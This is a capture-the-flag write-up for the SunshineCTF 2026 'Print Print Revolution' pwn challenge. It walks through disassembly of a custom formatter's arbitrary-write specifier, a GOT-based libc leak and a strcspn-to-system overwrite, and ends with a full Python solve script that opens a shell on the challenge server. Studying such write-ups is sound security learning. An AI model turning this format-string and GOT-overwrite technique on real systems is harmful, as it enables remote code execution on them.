Logo
Overview

SunshineCTF 2026 - Print Print Revolution

September 30, 2026
4 min read

The name says format string, and the binary does take your input as a format — but not with libc’s printf. It ships its own formatter, and that formatter has a specifier libc does not: %w, which writes one vararg to the address held in another. That is an arbitrary 8-byte write with no %n anywhere in sight.

Challenge Description

The arcade’s score printer has been spitting out strange tickets all week. Step up to the renderer and see what it’s really printing.

Provided: revolution. No libc.

Initial Analysis

The protections are inviting — no PIE, no canary:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

But the imports immediately kill the obvious plan:

<read@plt> <setvbuf@plt> <strcspn@plt> <strlen@plt> <write@plt>

There is no printf. So whatever is parsing the format string is inside the binary. main is a tight loop:

40114f: mov edx,0x7
401154: mov rsi,r12 ; "score> "
401157: mov edi,0x1
40115c: call 401080 <write@plt>
401161: xor edi,edi
401163: mov edx,0x1ff
401168: mov rsi,rbx ; buffer, 0x200 bytes on the stack
40116b: call 4010b0 <read@plt>
401170: test rax,rax
401173: jg 401120

and the handler at 0x401120:

401120: mov rsi,rbp ; "\n"
401123: mov rdi,rbx
401126: mov BYTE PTR [rsp+rax*1],0x0 ; NUL-terminate at bytes read
40112a: call 4010a0 <strcspn@plt>
40112f: mov rdi,rbx
401132: mov BYTE PTR [rsp+rax*1],0x0 ; NUL-terminate at the newline
401136: xor eax,eax
401138: call 401330 ; the custom formatter

The read is 0x1ff into a 0x200 buffer, so there is no overflow. Everything is in 0x401330.

The Vulnerability

The formatter supports %%, %N$ positional arguments, %s, %p, and one more. At 0x4014cd:

4014cd: lea r9,[rsp+0x18] ; the va_list
4014d2: mov rdi,r9
4014d5: call 4012c0 ; fetch arg N -> rax
4014da: add esi,0x1
4014dd: mov rdi,r9
4014e0: mov r8,rax ; r8 = arg N (the destination pointer)
4014e3: call 4012c0 ; fetch arg N+1 -> rax
4014e8: mov edx,0x2
4014ed: mov rsi,r12
4014f0: mov edi,0x1
4014f5: mov QWORD PTR [r8],rax ; *(arg N) = arg N+1
4014f8: call 401080 <write@plt>

That is %w: take two varargs, treat the first as a pointer and store the second through it. A full 8-byte arbitrary write, repeatable as often as you like because main loops on read() until EOF.

The argument fetcher at 0x4012c0 matters too. It copies the va_list into the red zone before walking it:

4012c0: movdqu xmm0,XMMWORD PTR [rdi]
4012c4: movups XMMWORD PTR [rsp-0x20],xmm0
4012c9: mov rdi,QWORD PTR [rdi+0x10]
4012cd: mov QWORD PTR [rsp-0x10],rdi
4012d2: test esi,esi
4012d4: jle 401320

So %N$ is non-consuming and, critically, unbounded — there is no check that N is within the number of arguments actually passed. Every slot on the stack past the register save area is addressable.

Working out where the buffer lands:

$ printf '%%7$p|%%8$p|%%9$p|%%10$p|%%11$p\n' | ./revolution
score> 0x257c702439257c70|0x3131257c70243031|0x4241414141007024|...

0x257c702439257c70 little-endian is p|%9$p|%, which is bytes 8..16 of my own input. So argN is buffer[8*(N-6)], and %7$ is buffer[8:16]. The payload shape follows:

%7$w + 4 bytes padding + p64(target) + p64(value)

The format text ends at the NUL after %7$w, so the pointer and value that follow are never parsed as format — they are just stack data the specifier reads.

Exploitation

Leaking libc

%N$s prints the string at an argument, so pointing it at a GOT entry dumps a libc address as raw bytes:

p64 = lambda x: struct.pack("<Q", x)
io.send(b"%7$s" + b"ZZZZ" + p64(0x404000) + b"\n") # write@got
score> 0M-HM-qM-kM-b~ZZZZ

Six raw bytes before the tag — write in libc.

No libc ships with this challenge, but the low 12 bits of a few functions are enough to fingerprint it. Querying libc.rip with write=560, read=a50, setvbuf=540 gives glibc 2.39 Ubuntu, and the libc shipped with Cache Money (2.39-0ubuntu8.3) matches on every one of those:

write 000000000011c560 -> 0x560
read 000000000011ba50 -> 0xa50
setvbuf 0000000000088540 -> 0x540
strcspn 00000000000b4300 -> 0x300 (leak said 0xf70)

strcspn looks wrong only because its GOT holds the IFUNC-resolved variant rather than the generic symbol.

The win

main calls strcspn(buf, "\n") at the top of every iteration, with rdi already pointing at the input buffer. Overwrite strcspn@got with system and the very next line sent becomes system(line):

write_qword(io, STRCSPN_GOT, libc + SYSTEM_OFF) # 0x404010
io.send(b"/bin/sh\n")
total 12
-rw-r----- 1 root revolution 36 Sep 26 00:13 flag.txt
sun{cust0m_fmtstr_n0_t00ls_4ll0wed}

Solve Script

import socket, struct, time, re
p64 = lambda x: struct.pack("<Q", x)
WRITE_GOT, STRCSPN_GOT = 0x404000, 0x404010
WRITE_OFF, SYSTEM_OFF = 0x11c560, 0x58740 # Ubuntu GLIBC 2.39-0ubuntu8.3
class Remote:
def __init__(self, host, port):
self.s = socket.create_connection((host, port), timeout=10); self.s.settimeout(5)
def send(self, b): self.s.sendall(b)
def recv(self, n=4096):
try: return self.s.recv(n)
except socket.timeout: return b""
def leak(io, addr, tag=b"QQQQ"):
"""%N$s prints the string at an arg; arg7 is buffer[8:16]."""
io.send(b"%7$s" + tag + p64(addr) + b"\n")
d = b""
for _ in range(40):
time.sleep(0.15)
d += io.recv()
if tag in d: break
i = d.find(tag)
return int.from_bytes(d[max(0, i - 6):i].ljust(8, b"\0"), "little")
def write_qword(io, addr, val):
"""%7$w stores arg8 (buffer[16:24]) into *arg7 (buffer[8:16])."""
io.send(b"%7$w" + b"AAAA" + p64(addr) + p64(val) + b"\n")
time.sleep(0.3); io.recv()
io = Remote("chal.sunshinectf.games", 26002)
time.sleep(1); io.recv()
libc = leak(io, WRITE_GOT) - WRITE_OFF
print(f"libc base = {libc:#x}")
write_qword(io, STRCSPN_GOT, libc + SYSTEM_OFF)
io.send(b"/bin/sh\n"); time.sleep(0.6); io.recv()
io.send(b"cat flag.txt\n"); time.sleep(0.8)
print(io.recv().decode())

Flag

sun{cust0m_fmtstr_n0_t00ls_4ll0wed}